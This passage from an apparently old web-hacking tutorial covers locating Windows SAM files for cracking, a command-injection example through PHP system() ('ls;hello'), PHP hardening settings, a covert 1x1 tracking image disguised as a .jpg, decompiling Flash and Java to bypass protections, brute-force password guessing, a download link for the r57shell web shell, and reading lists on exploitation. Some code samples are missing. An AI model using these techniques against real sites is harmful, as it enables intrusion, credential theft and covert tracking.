[drive-letter]:winnt\repair\sam" -WinNT password file -can be cracked with "l0pht crack" "[drive-letter]:\WINNT\system32\LogFiles\" -directory that contains the IIS server logs "[drive-letter]:\WINNT\system32\repair\" -directory that contains the backup password file on NT systems. -either named "sam._"(NT4) or "sam"(Win2k) "autoexec.bat" -is started by certain versions of windows every time at boot up "php.ini" - php config file "phpinfo.php" - common name for a test file that runs phpinfo() - that function lists all types of information about the current php configuration ---------------------------------------------------------------------------- --[< Useful Commands >]----------------------------------------------------- ---------------------------------------------------------------------------- You will find here just a list. It would go too far if I would explain how to use them. Just use google to get information about each. "ls" "cmd.exe" ->windows shell "id" "rm" "wget and tftp" "cat" "echo" "ps" "kill and killall" "uname" "cc, gcc, perl, python, etc..." "mail" "xterm/Other X application" chown = allows setting user ownership of a file. chmod = allows file permissions to be set. chgrp = allows group ownership to be changed. chsh = allows a user to change the shell that they use. ---------------------------------------------------------------------------- --[< HTTP Error Codes >] --------------------------------------------------- ---------------------------------------------------------------------------- 100 Continue 101 Switching Protocols 200 OK 201 Created 202 Accepted 203 Non-Authoritative Information 204 No Content 205 Reset Content 206 Partial Content 300 Multiple Choices 301 Moved Permanently 302 Moved Temporarily 303 See Other 304 Not Modified 305 Use Proxy 400 Bad Request 401 Unauthorized 402 Payment Required 403 Forbidden 404 Not Found 405 Method Not Allowed 406 Not Acceptable 407 Proxy Authentication Required 408 Request Time-Out 409 Conflict 410 Gone 411 Length Required 412 Precondition Failed 413 Request Entity Too Large 414 Request-URL Too Large 415 Unsupported Media Type 500 Server Error 501 Not Implemented 502 Bad Gateway 503 Out of Resources 504 Gateway Time-Out 505 HTTP Version not supported ---------------------------------------------------------------------------- --[< Execution Of Shell Commands >]----------------------------------------- ---------------------------------------------------------------------------- Some scripts take user input and use it in a function for command execution. I hope I don't have to tell you what that can mean for you, if the admin doesn't filter everything. Let's take that script as an example:

Write a message in a file

This script is so far nothing special. It just offers you to write a message into a file on the server. Let's take a look at the write_in_file.php > message.txt"); ?> But what would happen if your input would be something like: ls;hello -->system(ls;hello >> message.txt); The system function would execute 2 commands. "hello" would be written into the file message.txt but also the ls command would get executed which shows you a directory listing of the current directory. ";" -allows multiple commands to be executed (in a row) on a Unix system. Example: #id;cat message.txt "|" -this pipe character helps you to execute multiple commands at a time in a single request. Example: #cat access_log|id ---------------------------------------------------------------------------- --[< Protecting PHP >]------------------------------------------------------ ---------------------------------------------------------------------------- Some of the attacks described above work perfectly on a default PHP installation. But the programmer also has ways to protect themselves against these types of attacks. Things you should do as an admin: .#Set register_globals off----------------------------------- -no global variables for user input Example: ...index.php?ex=guru With register_globals off PHP will not create a variable "$ex" only $HTTP_GET_VARS['ex']. .#Set safe_mode on------------------------------------------- -defines a large variety of restrictions Examples: .-the ability to disable functions like exec(), system(),readfile(),... .-restricts file access based on ownership of script and target file .#Set open_basedir------------------------------------------- .-you can only open files inside the specified directories .#Set display_errors off, log_errors on---------------------- .-makes it harder for an attacker to get information about the scripts and how they work .#Set allow_url_fopen off------------------------------------ .-stops remote files functionality .#magic_quotes_gpc()----------------------------------------- .-helps against SQL injection attacks .#Filter input----------------------------------------------- .-check that the input matches a pattern for acceptability .-if possible strip out all metacharacters: <>":;'}{][|\)(*&^%$#!` ---------------------------------------------------------------------------- --[< Web Bugs >] ----------------------------------------------------------- ---------------------------------------------------------------------------- A web bug can be any graphic (often size 1x1 pixel) on a web site or in an email that collects information about users that have a look at it. That can be all header information. To create such a web bug you'll need: ->web hosting or your own server which allows you to use: ->.htaccess files ->php scripts ->the gd library has to be installed The first thing to do is to create a new folder. Then you put a ".htaccess" file with this content in the folder: ForceType application/x-httpd-php That tells the webserver to treat every file in this folder as a php file even if the extension is ".jpg" or ".png" or whatever. Now you have to put your image file (for example sigpic.jpg (the one that is going to be shown)) into the same folder. Time to open your favourite editor. Create a new file and just save it for example as "sig.jpg". This is the file with all the php code. It is important that you start the file off with ----------------------------------- ----------------------------------- So the image gets shown and nobody even has a clue that something else is going on in between. ---------------------------------------------------------------------------- --[< Faking Cookies >] ----------------------------------------------------- ---------------------------------------------------------------------------- Proxomitron - have a look at the "Proxomitron" section Opera Tools --> Preferences --> Advanced --> Cookies --> Manage Cookies --> Edit JavaScript Inline Debugger - have a look at the "JavaScript Inline Debugger" section ---------------------------------------------------------------------------- --[< Getting the source code of ".swf" Flash files >] ---------------------- ---------------------------------------------------------------------------- Sometimes you have to get the source code of a ".swf" file to get for example around a password protection. The first thing is to download the ".swf" file. Have a look at the url or the source code to find its location. The Internet Explorer saves it in the folder "Temporary Internet Files". When you downloaded it, open it with a .swf decompiler. My weapon of choice is "Sothink SWF Decompiler". I have no clue if it is a good one but so far it worked quite well. ---------------------------------------------------------------------------- --[< Getting the source code of ".class"/".jar" Java applet files >] ------ ---------------------------------------------------------------------------- The first step is again to download the class file. This time you open it with .java decompiler. My weapon of choice is "DJ Java Decompiler". If a ".jar" file is specified just download and rename it to ".rar". Then you can see all files that are in it. ---------------------------------------------------------------------------- --[< Passwords (guessing, brute force, dictionary attack) >] --------------- ---------------------------------------------------------------------------- Sometimes web sites are really secure and there is no way to exploit them. Often this doesn't stop you from still getting access to protected areas. What is the best protecting for, if the user has choosen a weak password. Collect information about the user and about the website the account is at. This might give you an idea of what password the person has choosen. There are also wordlists out there that are nothing more than dictinaries with common passwords used. Those can be used for brute force attacks. Even if you have hashed password you still need a string representing that hash. Your two options are: brute force - most programms try all combination of chars you want them to try until they find the password - if a strong password is choosen that is pretty useless dictionary attack - this is the same as a brute force attack - the difference is that wordlists are used with the most common passwords - if you have a huge wordlist this attack is quite efficent Two types of common hashes: MD5 - 32 chars - digits - upper / lowercase letters from a to f UNIX Crypt - 13 chars - digits, dot, letters - upper / lowercase letters ---------------------------------------------------------------------------- --[< Tools >] -------------------------------------------------------------- ---------------------------------------------------------------------------- /*CGIProxy*/ - a cgi script that acts as a HTTP or FTP proxy - useful to get around filtering software which doesn't allow you to visit certain web sites - just upload it to your web space and use it to access the forbidden sites /*Proxomitron*/ - a free HTTP web-filtering proxy - it allows you to edit all types of HTTP-header and create own new ones -> Cookies, Referer, User-Agents, X-Forwarded-For, ... /*php shells*/ r57shell.php http://rst.void.ru/download/r57shell.txt c99shell.php search google ---------------------------------------------------------------------------- --[< Buffer Overflow >] ---------------------------------------------------- ---------------------------------------------------------------------------- Smashing The Stack For Fun And Profit [Phrack][1996] - Aleph One Advanced buffer overflow exploit - Taeho Oh Advanced Buffer Overflow Methods - Izik The Frame Pointer Overwrite [Phrack] - klog Overwriting the .dtors section - Juan M. Bello Rivas ---------------------------------------------------------------------------- --[< Format String >] ------------------------------------------------------ ---------------------------------------------------------------------------- Exploiting Format String Vulnerabilities - scut, team teso Advances in format string exploitation [Phrack] - gera Format Strings - xgc/dx A.K.A Thyago Silva ---------------------------------------------------------------------------- --[< Heap Overflow >] ------------------------------------------------------ ---------------------------------------------------------------------------- Advanced Doug lea's malloc exploits [Phrack] - jp Smashing The Heap For Fun And Profit [Phrack] - Michel "MaXX" Kaempf Exploiting The Wilderness - Phantasmal Phantasmagoria Once upon a free()... [Phrack] - anonymous w00w00 on Heap Overflows - Matt Conover (a.k.a. Shok) & w00w00 Security Team ---------------------------------------------------------------------------- --[< Integer Overflow >] --------------------------------------------------- ---------------------------------------------------------------------------- Basic Integer Overflows [Phrack] - blexim ---------------------------------------------------------------------------- --[< Other interesting tutorials you should read >] ------------------------ ---------------------------------------------------------------------------- GCC 3.x Stack Layout (german) [2003] Reverse Engineering with LD_PRELOAD - Izik Writing Shellcode - zillion One-way Web Hacking - Saumil Shah ---------------------------------------------------------------------------- --[< Thx! >] --------------------------------------------------------------- ---------------------------------------------------------------------------- @Digital Acid: thx for fixing some of my spelling errors in the tutorial! ---------------------------------------------------------------------------- --[< History >] ------------------------------------------------------------ ---------------------------------------------------------------------------- /* v1.7 */ Added #- Mime Type Spoofing /* v1.6 */ Updated #- Header Based Exploitation #- SQL-Injection Added #- Cross-Site Request Forgeries (CSRF) #- Apache - Unknown Mime Type Trouble